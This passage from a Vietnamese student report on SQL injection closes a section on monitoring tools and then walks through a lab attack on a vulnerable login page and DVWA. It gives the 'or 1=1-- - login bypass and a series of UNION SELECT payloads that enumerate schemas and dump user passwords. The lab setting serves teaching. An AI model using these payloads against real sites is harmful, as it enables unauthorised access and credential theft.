thử định kì
Bằng cách có giám sát thường xuyên các câu lệnh SQL, các cơ sở dữ liệu kết nối với ứng dụng bao gồm các tài khoản cơ sở dữ liệu, các thủ tục, … người quản trị có thể biết được những gì xảy ra trong hệ thống và có thể đưa ra giải pháp để có thể đảm bảo không có gì bất thường xảy ra. Các công cụ giám sát dựa trên machine learning hay phân tích hành vi như SIEM (Security Information and Event Management) hay PAM (Privvileged Access Management) là trợ thủ đắc lực để nâng cao bảo mật mạng
CHƯƠNG 3. THỰC NGHIỆM TẤN CÔNG SQL INJECTION 3.1 Mô tả môi trường thực nghiệm
Để thực nghiệm tấn công SQL INJECTION ta chuẩn bị 1 trang web mắc lỗ hổng sql và phần mềm DVWA cho phép ta thực hành và thử nghiệm tấn công với nhiều mức độ khác nhau.
Hình 1: Giao diện đăng nhập của website
Hình 1: Giao diện demo tấn công sql injection trên DVWA
3.2 Thực nghiệm tấn công
3.2.1 Mô tả kịch bản
- Để vượt qua đăng nhập của trang web ta chỉ cần chèn thêm 1 chuỗi 'or 1=1-- - vào trường input username hoặc password.
Phần 2: Sử dụng công cụ DVWA demo tấn công khai thác thông tin,dữ liệu từ CSDL mySQL.
-Ta lần lượt truyền các chuỗi vào dòng input User ID để thu các thông tin sau: - Để lấy phiên bản(version):
'union select 1,version()-- -
- Lấy user đăng nhập hiện tại:
'union select 1,user()-- - - Lấy tên cơ sở dữ liệu:
'union select 1,database()-- - - Lấy cổng truy cập mysql:
'union select 1,@@port-- - - Lấy tất cả CSDL có trong MySQL:
'UNION select table_schema,null from
information_schema.tables-- - - Lấy các bảng có trong CSDL ‘DVWA’:
'UNION select table_name,null from
information_schema.tables where
table_schema='dvwa'—
- Lấy tất cả các cột có trong bảng users:
'UNION select table_name,column_name from
information_schema.columns where
table_name='users'--
'UNION select user,password from users-- -
3.2.2 Các bước thực hiện
Phần 1: Sử dụng SQL injection tấn công vượt qua đăng nhập của trang web. Bước 1: Truy cập 1 trang web chuẩn bị sẵn chứa lỗi lỗ hổng SQL injection
Hình 1: Giao diện đăng nhập của website
Bước 2: Thử đăng nhập với 1 tài khoản và mật khẩu bất kì không thuộc CSDL của website.
Vd: username = loginweb Password = 123456
-Sau khi điền thông tin đăng nhập tiến hành click vào login ta thu được thông báo đăng nhập thất bại.Nguyên nhân do user và password ta nhập không chính xác.
Hình 2: Kết quả sau khi login với thông tin đăng nhập không chính xác
Bước 3: Tiến hành tấn công vượt đăng nhập với SQL injection
Việc truyền câu truy vấn” 'or 1=1-- - ” username hoặc password để làm câu truy vấn trở nên true (luôn đúng) sẽ giúp ta đăng nhập vào trang web 1 cách dễ dàng. Để hiểu rõ hơn ở đây mình đưa câu truy vẫn SQL mà phía trang web xử lí để đăng nhập.
Sql = SELECT `Username`, `Password` FROM `users` WHERE Username='$username' AND Password='$password';
=>SQL sau khi thêm chuỗi 'or 1=1-- - vào ô username khi đó biến $username sẽ nhận giá trị 'or 1=1-- - ta sẽ thu được câu truy vẫn thay đổi như sau:
Sql = SELECT `Username`, `Password` FROM `users` WHERE Username=''or 1=1-- - ' AND Password='$password';
Hình 3: Như vậy ta đã đăng nhập thành công vào hệ thống và đã vượt qua đăng nhập của trang web
Phần 2: Sử dụng công cụ DVWA demo tấn công khai thác thông tin,dữ liệu từ CSDL mySQL.
Bước 1: Truy cập DVWA và tiền hành đăng nhập và chọn SQL injection ta sẽ có được giao diện như sau:
Hình 1: Giao diện demo tấn công sql injection trên DVWA
Bước 2: Lần lượt truyền các chuỗi vào dòng input User ID để khai thác. Cụ thể: Để lấy phiên bản(version) của database ta chỉ việc đưa chuỗi sau vào ô Input của User ID:
'union select 1,version()-- -
Kết quả thu được:
Phiên bản database là : 10.4.17
Thực hiện tương tự với các khai thác sau: - Lấy user đăng nhập hiện tại:
- Lấy tên cơ sở dữ liệu:
'union select 1,database()-- -
'union select 1,@@port-- -
Sau khi thu được các thông tin trên ta tiến hành khai thác thông tin có trong CSDL có tên DVWA.
1.Lấy tất cả CSDL có trong MySQL:
'UNION select table_schema,null from information_schema.tables-- -
2.Lấy các bảng có trong CSDL ‘DVWA’:
'UNION select table_name,null from
information_schema.tables where table_schema='dvwa'-- -
3.Lấy tất cả các cột có trong bảng users:
'UNION select table_name,column_name from
information_schema.columns where table_name='users'-- -
4.Lấy tên tài khoản và mật khẩu của tất cả người dùng trong bảng users: 'UNION select user,password from users-- -
TÀI LIỆU THAM KHẢO
[1] Khaleel Ahmad ,Jayant Shekhar and K.P.Yadav, VSRD-TNTJ, Vol. I (4), 2010, 235-242, Classification of SQL Injection Attacks, https://www.researchgate.net/publication/316886377_A_study_on_SQL_injecti vulneraon_techniques
[2] OWASP, SQL Injection Prevension Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat _Sheet.html
[3] OWASP, A03:2021-Injection, https://owasp.org/Top10/A03_2021- Injection/
[4] EC-Council CEH Program, CEHv10 Modules 15 SQL Injection.
[5] PortSwigger, SQL Injection, https://portswigger.net/web-security/sql- injection
[6] Paul Rubens, How to Prevent SQL Injection Attacks, March 11, 202,
[7] Offensive Security, Advanced Web Attacks And Exploitation, July-August 2016, Black Hat USA